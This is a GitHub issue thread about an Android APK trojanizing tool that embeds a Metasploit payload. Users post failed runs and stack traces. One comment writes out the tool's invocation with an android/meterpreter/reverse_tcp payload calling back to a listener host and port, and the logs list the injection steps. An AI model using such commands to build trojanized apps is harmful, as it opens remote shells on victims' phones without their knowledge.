Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

original.apk was not found or was not readable. #26

Open
MrFlyingToasterman opened this issue Feb 21, 2017 · 2 comments
Open

original.apk was not found or was not readable. #26

MrFlyingToasterman opened this issue Feb 21, 2017 · 2 comments

Comments

@MrFlyingToasterman
Copy link

It seems like Bug 15 is still there.

Embed a Metasploit Payload in an Original .Apk File v0.2
[1] Generating msfvenom payload
[2] Signing payload
cp: das angegebene Ziel '/tmp/D2KT664/original.apk' ist kein Verzeichnis
[3] Decomposing original APK
Input file (/tmp/D2KT664/original.apk) was not found or was not readable.
[4] Decomposing payload APK
lib/embed-payload.rb:210:in `initialize': No such file or directory @ rb_sysopen - /tmp/D2KT664/original/AndroidManifest.xml (Errno::ENOENT)
	from lib/embed-payload.rb:210:in `open'
	from lib/embed-payload.rb:210:in `embeddingPayload'
	from lib/embed-payload.rb:11:in `initialize'
	from apk-embed-payload.rb:30:in `new'
	from apk-embed-payload.rb:30:in `<main>'

I get this stacktrace with following command:
ruby apk-embed-payload.rb BezahlLadung.apk -p android/meterpreter/reverse_tcp LHOST=192.168.43.88 LPORT=4444

I'm using ruby 2.4

ruby --version
ruby 2.4.0p0 (2016-12-24 revision 57164) [x86_64-linux]

On Arch GNU/*/Linux

uname -a
Linux Pipboy 4.9.8-1-ARCH #1 SMP PREEMPT Mon Feb 6 12:59:40 CET 2017 x86_64 GNU/Linux

My msfvenom is working fine.
And im pretty sure that all needed gems are correctly installed.

@OpenSourceMasta
Copy link

Embed a Metasploit Payload in an Original .Apk File v0.2
[1] Generating msfvenom payload
[2] Signing payload
java.io.FileNotFoundException: /tmp/X2DCGEK/payload.apk (No such file or directory)
at java.util.zip.ZipFile.open(Native Method)
at java.util.zip.ZipFile.(ZipFile.java:219)
at java.util.zip.ZipFile.(ZipFile.java:149)
at java.util.jar.JarFile.(JarFile.java:166)
at java.util.jar.JarFile.(JarFile.java:145)
at com.android.signapk.SignApk.main(SignApk.java:320)
[3] Decomposing original APK
[4] Decomposing payload APK
Input file (/tmp/X2DCGEK/signapk.apk) was not found or was not readable.
[5] Locating onCreate() hook
[6] Copying payload files
[7] Loading MainActivity.smali and injecting payload
Traceback (most recent call last):
6: from apk-embed-payload.rb:30:in <main>' 5: from apk-embed-payload.rb:30:in new'
4: from lib/embed-payload.rb:11:in initialize' 3: from lib/embed-payload.rb:246:in embeddingPayload'
2: from lib/embed-payload.rb:79:in fixManifest' 1: from lib/embed-payload.rb:79:in open'
lib/embed-payload.rb:79:in `initialize': No such file or directory @ rb_sysopen - /tmp/X2DCGEK/payload/AndroidManifest.xml

(Errno::ENOENT)

Yup Same problem here. Folder is in temp dir along with original stuff. Payload is not there at all.

@PamithAnand
Copy link

PamithAnand commented Jul 22, 2019

Embed a Metasploit Payload in an Original .Apk File v0.2
[1] Generating msfvenom payload
[2] Signing payload
java.nio.file.NoSuchFileException: /tmp/PC6TY3F/payload.apk
at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:92)
at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111)
at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:116)
at java.base/sun.nio.fs.UnixFileAttributeViews$Basic.readAttributes(UnixFileAttributeViews.java:55)
at java.base/sun.nio.fs.UnixFileSystemProvider.readAttributes(UnixFileSystemProvider.java:145)
at java.base/sun.nio.fs.LinuxFileSystemProvider.readAttributes(LinuxFileSystemProvider.java:99)
at java.base/java.nio.file.Files.readAttributes(Files.java:1763)
at java.base/java.util.zip.ZipFile$Source.get(ZipFile.java:1225)
at java.base/java.util.zip.ZipFile$CleanableResource.(ZipFile.java:727)
at java.base/java.util.zip.ZipFile$CleanableResource.get(ZipFile.java:844)
at java.base/java.util.zip.ZipFile.(ZipFile.java:247)
at java.base/java.util.zip.ZipFile.(ZipFile.java:177)
at java.base/java.util.jar.JarFile.(JarFile.java:346)
at java.base/java.util.jar.JarFile.(JarFile.java:317)
at java.base/java.util.jar.JarFile.(JarFile.java:297)
at com.android.signapk.SignApk.main(SignApk.java:320)
[3] Decomposing original APK
[4] Decomposing payload APK
Input file (/tmp/PC6TY3F/signapk.apk) was not found or was not readable.
[5] Locating onCreate() hook
[6] Copying payload files
[7] Loading MainActivity.smali and injecting payload
Traceback (most recent call last):
6: from apk-embed-payload.rb:30:in <main>' 5: from apk-embed-payload.rb:30:in new'
4: from lib/embed-payload.rb:11:in initialize' 3: from lib/embed-payload.rb:246:in embeddingPayload'
2: from lib/embed-payload.rb:79:in fixManifest' 1: from lib/embed-payload.rb:79:in open'
lib/embed-payload.rb:79:in `initialize': No such file or directory @ rb_sysopen - /tmp/PC6TY3F/payload/AndroidManifest.xml (Errno::ENOENT)

PLEASE HELP ASAP!!!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants